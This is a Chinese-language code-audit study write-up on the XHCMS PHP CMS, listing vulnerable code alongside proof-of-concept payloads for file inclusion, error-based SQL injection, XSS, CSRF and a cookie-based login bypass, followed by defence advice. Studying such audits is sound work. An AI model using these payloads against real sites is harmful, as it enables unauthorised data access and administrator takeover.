xhcms审计学习
字数 1209 2025-08-29 08:32:30

XHCMS 代码审计学习文档

一、环境搭建

  1. 环境要求

    • PHP 5.4.45
    • MySQL 5.5.53
    • 不兼容 PHP 7
  2. 安装步骤

    • 下载 XHCMS 源码并解压到 PHPStudy 根目录
    • 启动 PHPStudy
    • 创建数据库(如 testxhcms)
    • 访问安装页面完成安装

二、目录结构分析

admin/          - 管理后台文件夹
css/            - CSS 文件
files/          - 页面文件
images/         - 图片资源
inc/            - 网站配置文件
install/        - 安装文件夹
seacmseditor/   - 编辑器
template/       - 模板文件
upload/         - 上传功能
index.php       - 网站首页

三、漏洞审计

1. 文件包含漏洞

位置index.phpadmin/index.php

漏洞代码

$file=addslashes($_GET['r']);
$action=$file==''?'index':$file;
include('files/'.$action.'.php');

利用条件

  • Windows 系统
  • PHP 版本=5.2.17
  • Virtual Directory Support=enable

利用方法

  • 使用 Windows 文件名长度截断
  • Payload:
    ?r=../test.txt........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
    

2. SQL 注入漏洞

(1) 后台登录注入

位置/admin/files/login.php

漏洞代码

$user=$_POST['user'];
$query = "SELECT * FROM manage WHERE user='$user'";

利用方法

POST: user=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--

(2) 栏目编辑注入

位置/admin/files/editcolumn.php

漏洞代码

$id=$_GET['id'];
$type=$_GET['type'];
$query = "SELECT * FROM nav WHERE id='$id'";

利用方法

?r=editcolumn&type=1&id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

(3) 链接编辑注入

位置/admin/files/editlink.php

漏洞代码

$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";

利用方法

?r=editlink&id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+

(4) 重装注入

位置/install/index.php

漏洞代码

$query = "UPDATE manage SET user='$user',password='$password',name='$user'";

利用方法

user=1' or extractvalue(1,concat(0x7e,(select version()),0x7e))#

3. XSS 漏洞

(1) 存储型 XSS

位置/admin/files/adset.php

漏洞代码

$ad1=addslashes($_POST['ad1']);
echo $ad['ad1'];

利用方法

</textarea><script>alert('hahhahahaa')</script>

(2) 反射型 XSS

位置/files/contact.php

漏洞代码

$page=addslashes($_GET['page']);
echo "第".$page."页 - ";

利用方法

?r=contact&page=<script>alert(/xss/)</script>

4. CSRF 漏洞

位置/admin/files/linklist.php

漏洞代码

$delete=$_GET['delete'];
$query = "DELETE FROM download WHERE id='$delete'";

利用方法

  • 构造恶意链接诱导管理员点击

5. 越权漏洞

位置/inc/checklogin.php

漏洞代码

  • 仅通过 cookie 中的 user 字段判断登录状态

利用方法

  • 直接添加 cookie: user=admin

四、防御建议

  1. SQL 注入防御

    • 使用预处理语句
    • 对输入进行严格过滤
    • 使用白名单验证
  2. XSS 防御

    • 输出时使用 htmlspecialchars()
    • 设置 Content-Security-Policy
  3. CSRF 防御

    • 添加 CSRF Token
    • 检查 Referer
  4. 文件包含防御

    • 使用白名单限制包含文件
    • 避免动态包含
  5. 越权防御

    • 使用 Session 验证登录状态
    • 实现完整的权限验证机制

五、审计总结

  1. XHCMS 存在大量未过滤的 SQL 注入点
  2. 多处存在存储型和反射型 XSS
  3. 后台功能普遍缺乏 CSRF 防护
  4. 登录验证机制存在缺陷
  5. 文件包含漏洞可导致任意代码执行

六、学习要点

  1. 审计工具(如 Seay)可辅助发现漏洞,但需人工验证
  2. 变量追踪是审计的关键技能
  3. 理解 addslashes() 的局限性
  4. 注意二次转义问题
  5. 完整的功能测试比单纯代码审计更重要
XHCMS 代码审计学习文档 一、环境搭建 环境要求 : PHP 5.4.45 MySQL 5.5.53 不兼容 PHP 7 安装步骤 : 下载 XHCMS 源码并解压到 PHPStudy 根目录 启动 PHPStudy 创建数据库(如 testxhcms) 访问安装页面完成安装 二、目录结构分析 三、漏洞审计 1. 文件包含漏洞 位置 : index.php 和 admin/index.php 漏洞代码 : 利用条件 : Windows 系统 PHP 版本=5.2.17 Virtual Directory Support=enable 利用方法 : 使用 Windows 文件名长度截断 Payload: 2. SQL 注入漏洞 (1) 后台登录注入 位置 : /admin/files/login.php 漏洞代码 : 利用方法 : (2) 栏目编辑注入 位置 : /admin/files/editcolumn.php 漏洞代码 : 利用方法 : (3) 链接编辑注入 位置 : /admin/files/editlink.php 漏洞代码 : 利用方法 : (4) 重装注入 位置 : /install/index.php 漏洞代码 : 利用方法 : 3. XSS 漏洞 (1) 存储型 XSS 位置 : /admin/files/adset.php 漏洞代码 : 利用方法 : (2) 反射型 XSS 位置 : /files/contact.php 漏洞代码 : 利用方法 : 4. CSRF 漏洞 位置 : /admin/files/linklist.php 漏洞代码 : 利用方法 : 构造恶意链接诱导管理员点击 5. 越权漏洞 位置 : /inc/checklogin.php 漏洞代码 : 仅通过 cookie 中的 user 字段判断登录状态 利用方法 : 直接添加 cookie: user=admin 四、防御建议 SQL 注入防御 : 使用预处理语句 对输入进行严格过滤 使用白名单验证 XSS 防御 : 输出时使用 htmlspecialchars() 设置 Content-Security-Policy CSRF 防御 : 添加 CSRF Token 检查 Referer 文件包含防御 : 使用白名单限制包含文件 避免动态包含 越权防御 : 使用 Session 验证登录状态 实现完整的权限验证机制 五、审计总结 XHCMS 存在大量未过滤的 SQL 注入点 多处存在存储型和反射型 XSS 后台功能普遍缺乏 CSRF 防护 登录验证机制存在缺陷 文件包含漏洞可导致任意代码执行 六、学习要点 审计工具(如 Seay)可辅助发现漏洞,但需人工验证 变量追踪是审计的关键技能 理解 addslashes() 的局限性 注意二次转义问题 完整的功能测试比单纯代码审计更重要